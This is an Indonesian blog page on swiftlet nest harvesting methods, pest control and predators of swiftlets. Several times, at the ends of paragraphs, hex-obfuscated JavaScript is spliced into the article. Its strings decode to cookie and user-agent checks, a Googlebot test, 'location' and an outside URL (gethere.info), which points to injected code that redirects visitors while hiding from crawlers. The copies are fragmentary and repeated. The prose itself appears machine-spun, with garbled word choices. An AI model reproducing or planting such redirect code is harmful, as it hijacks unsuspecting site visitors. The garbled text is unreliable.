IBX5980432E7F390 Teknik Panen Sarang Walet Secara Benar Kupas Triknya - Kicauan Burung Lovebird Ngekek

Teknik Panen Sarang Walet Secara Benar Kupas Triknya

Teknik Panen Sarang Walet Secara Benar

Teknik panen sarang walet secara benar – Pada umumnya, tujuan utama dari menangkarkan walet ialah sama, yaitu mengambil sarangnya. Sarang walet sangatlah mahal harganya.

Apalagi sarang walet sekarang mampu dijadikan obat pula. Semakin melambunglah harganya. Karena harganya yang begitu mahal lah membuat semua orang menjadi berbondong-bondong menangkarkan walet.Teknik Panen Sarang Walet Secara Benar

Ketika proses memanen saranglah yang paling dinantikan-tunggu oleh kebanyakan penangkar. Ketika memanen sarang walet, memiliki teknik tersendiri.

Bukan hanya memetik sarang begitu saja. Ketika penangkar salah dalam mengambil sarang walet, kesudahannya sangatlah fatal. Sarang bisa saja tidak mampu dijual dan akan merugikan bagi penangkar.

Tidak hanya berakibat fatal bagi sarang walet saja, tetapi juga berakibat fatal bagi burung walet itu sendiri. Apabila teknik memanen sarang salah, maka burung walet bisa merasa terganggu dan akhirnya pindah ke gedung lainnya.

Ada beberapa cara memanen yang mampu diterapkan oleh penangkar. Semuanya mempunyai kelebihan dan kelemahan. Tutorial memanen sarang walet diantaranya:

Memanen sarang walet dengan cara penetasan

Cara memanen sarang walet dengan cara penetasan adalah menunggu induk walet menetaskan telur-telurnya terlebih dahulu.

Setelah telur-telur tersebut sudah menetas dan menjadi piyikan, sarang walet belum mampu diambil. Kapan sarang walet bisa diambil? Pada ketika piyikan sudah bisa terbang dan tidak tinggal di sarang lagi.

Pada dikala itulah sarang bisa diambil karena sudah tidak ada telur-telur di dalamnya. Kelebihan dari memanen dengan cara ini adalah sarang walet yang akan dipetik lebih tebal dari biasanya karena pada saat piyikan masih belum bisa terbang, induk walet terus meletakkan air liurnya di sarang sampai piyik sudah mampu terbang.

Kekurangan dari memanen dengan cara ini yaitu harga jual sarang walet rendah. Penyebab dari harga jual sarang walet menjadi rendah karena sarang walet berwarna kehitaman lantaran kelamaan tidak dipetik dan warnanya menjadi kehitaman,

Memanen sarang walet dengan cara panen rampasan

Cara panen rampasan adalah dengan mengambil sarang yang sudah simpulan dibuat oleh indukan burung walet dan sudah siap digunakan untuk bertelur.

Kelebihan dari panen rampasan ialah harga jualnya sangatlah tinggi lantaran warna dari sarang walet putih dan tidak hitam. Sedangkan kekurangannya ialah walet mampu saja kekurangan air liur karena harus menciptakan sarang setiap harinya tanpa ada istirahat.

Dan imbasnya yaitu sarang walet menjadi lebih tipis lantaran produksi air liur dari burung walet itu sendiri kurang.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)it)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Beberapa Alat Untuk Panen Sarang Walet
  • Teknik Penetasan Telur Burung Walet
  • 2 Cara Memanen Sarang Burung walet
  • Bentuk Ukuran Rumah Sarang Walet Cepat Dihuni
  • Pakan Paling Bagus Untuk Ternak Burung Walet
  • Kasiat sarang Burung Walet Untuk Kesehatan
  • Teknik Memikat Burung Walet Datang
  • Cara Memancing Walet Secara Cepat
  • Peralatan Pendukung Rumah Sarang Walet
  • Jenis Sarang Burung Walet Hitam Putih
  • Cara Paling Sederhana Untuk Menjodohkan Cockatiel

Teknik Pengendalian Hama Pada Sarang Walet

Teknik pengendalian hama pada sarang walet – Hama dan penyakit merupakan hal yang perlu diwaspadai ketika memelihara binatang, termasuk juga memelihara walet. Hama-hama yang datang secara tiba-tiba akan menciptakan walet menjadi sakit. Hama dari mengakibatkan walet sakit.

Hama yang ada disekitar lingkungan walet dilarang diabaikan. Jika hama ini diabaikan bisa saja burung walet akan terkena imbasnya.Teknik Pengendalian Hama Pada Sarang Walet

Hama mampu dihilangkan dengan cara disemprot menggunakan pestisida. Apa-apa saja hama yang dapat menyerang burung walet? Hama yang mampu menyerang burung walet diantaranya:

Kutu

Kutu yang menjadi hama walet ada dua yaitu kutu burung dan kutu busuk. Kutu burung sama halnya dengan kutu kedaluwarsa. Persamaannya adalah sama-sama menghisap darah walet remaja maupun walet anakan.

Kutu sangat berbahaya bagi walet. Jangan disepelekan jikalau terdapat kutu di dalam gedung. Sebab kutu mampu menghisap darah walet dan balasannya walet menjadi mati.

Bisa dikatakan kutu merupakan hama yang paling berbahaya untuk burung walet

Jikalaupun hidup, tubuh walet akan kering dan akhirnya walet pun mati. Kutu yang tidak segera dibasmi akan berkembangbiak di dalam gedung walet.

Nantinya kutu akan mematikan semua walet yang ada di dalam gedung apabila tidak segera dibasmi. Bagaimana cara membasmi kutu? Tutorial membasmi kutu dengan cairan pestisida yang disemprotkan diseluruh gedung walet.

Semut

Tidak seolah-olah kutu yang menyerang walet sampaumur maupun anakan. Semut menyerang walet anakan saja. Sama seakan-akan kutut, semut juga mampu menimbulkan kematian.

Akan tetapi, hanya ajal pada anak walet saja. Biasanya, semut akan menyerang sarang-sarang walet dan lalu menyerang anak walet.

Untuk menghindari hal tersebut, sebaiknya periksa kembali kondisi disekitar gedung agar semut ini tidak menyerang anak walet.

Jika semut sudah terlanjur berada di dalam gedung walet segera basmi dengn cara menaburi kapur jenis kapur semut disekeliling sarang walet. Ini bisa menciptakan semut-semut pergi dari gedung walet.

Kecoa

Kecoa merupakan hama yang dapat menyerang sarang walet. Sarang walet bisa hancur lantaran ulah si kecoa ini. Kalau kecoa ini sudah berkembangbiak di dalam gedung walet, mampu saja kecoa akan menghabisi seluruh sarang walet yang ada di dalam gedung walet.

Bukankah kita akan rugi jikalau sarang walet dihabisi oleh kecoa? Untuk itulah pembasmian kecoa dengan cara menyemprotkan racun pembasmi kecoa.

Jangan terlalu berlebihan dalam menyemprotkan racun pembasmi kecoa ini lantaran dapat menyebabkan sarang walet menjadi berair dan tidak layak pakai.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Beberapa Alat Untuk Panen Sarang Walet
  • 2 Tutorial Memanen Sarang Burung walet
  • Penentuan Lokasi Gedung Rumah Walet
  • Cara Memancing Walet Secara Cepat
  • Suhu Tepat Untuk Gedung Sarang Burung Walet
  • Faktor Penting Membuat Rumah Sarang Walet
  • Hewan Pemangsa Burung Walet
  • Teknik Memikat Burung Walet Datang
  • Lingkungan Yang Digemari Burung Walet
  • Kualitas Sarang Walet Dari Bentuk Dan Warna
  • Teknik Panen Sarang Walet Secara Benar

Hewan Pemangsa Burung Walet

Hewan pemangsa burung walet – Hewan pemangsa burung walet merupakan salah satu hal yang harus diperhatikan. Janganlah menganggap remeh binatang pemangsa walet ini lantaran mampu menghabiskan semua burung walet yang ada di dalam gedung walet.

Dalam menentukan rumah walet, sebisa mungkin yang tidak ada binatang pemangsanya. Kalau disekeliling rumah walet tidak ada binatang pemangsanya, jadi walet menjadi aman dan tidak ada yang ditakutkan lagi.swallow

Kalaupun tidak bisa mencari kawasan yang higienis dari hewan pemangsa, maka kita harus periksa rumah walet setiap ketika supaya walet kita tetap kondusif dari gangguan binatang pemangsa. Beberapa binatang pemangsa diantaranya:

Tokek

Tokek termasuk binatang pemangsa burung walet. Yang diincar tokek dari walet adalah telur-telurnya bukan walet remajanya.

Tanda-tanda walet masuk ke dalam rumah walet ialah adanya pecahan telur di lantai dengan kondisi isi dalamnya sudah tidak ada. Jika sudah begitu, segera periksa seluruh rumah walet semoga tokek segera lekas dibasmi.

Cara mencegah biar tokek tidak masuk ke dalam rumah walet adalah meletakkan jaring atau penangkal tokek disekeliling rumah walet.

Apabila tokek memang sudah masuk ke dalam rumah walet, segera dibasmi dengan cara menyodorkan tembakau kehadapan tokek. Setelah tokek menyambar tembakau tersebut tokek akan pingsan. Pada dikala pingsan tersebutlah tokek dibuang sejauh mungkin.

Tikus

Tikus memang binatang yang kecil. Akan tetapi ia mampu memakan hewan yang lebih besar dari badannya. Seperti burung walet. Tikus memakan induk walet, anak walet, dan juga telur walet. Semuanya tikus makan tanpa terkecuali.

Bagaimana cara membasmi tikus yang masuk ke dalam rumah walet? Caranya adalah dengan menutupi semua lubang yang menjadi jalan tikus masuk ke dalam rumah walet.

Agar tikus tidak bisa lolos ke dalam rumah walet, tutupi lubang menggunakan jaring alumunium ataupun jaring besi. Dengan begitu, tikus tidak bisa masuk ke dalam rumah walet lagi dan walet menjadi aman.

Vampire

Hewan ini akan menyerang walet pada sore hari. Mengapa pada sore hari? Karena pada sore hari, walet terbang menuju rumahnya kembali setelah mencari makan.

Vampire akan memakan burung walet yang lewat dihadapannya. Karena vampire tidak masuk ke dalam rumah walet maka, cara membasmi binatang ini adalah dengan mencari sarang dari vampire dan menembaknya.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai kerikil medan gacor

Wajib Penting Di baca

  • Cara Memancing Walet Secara Cepat
  • Faktor Penting Membuat Rumah Sarang Walet
  • Suhu Tepat Untuk Gedung Sarang Burung Walet
  • Teknik Pengendalian Hama Pada Sarang Walet
  • Teknik Memikat Burung Walet Datang
  • 2 Cara Memanen Sarang Burung walet
  • Teknik Panen Sarang Walet Secara Benar
  • Kualitas Sarang Walet Dari Bentuk Dan Warna
  • Jenis Sarang Burung Walet Hitam Putih
  • Teknik Pembibitan Burung Walet Dengan Benar
  • Pakan Paling Bagus Untuk Ternak Burung Walet

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Teknik Panen Sarang Walet Secara Benar Kupas Triknya"

Posting Komentar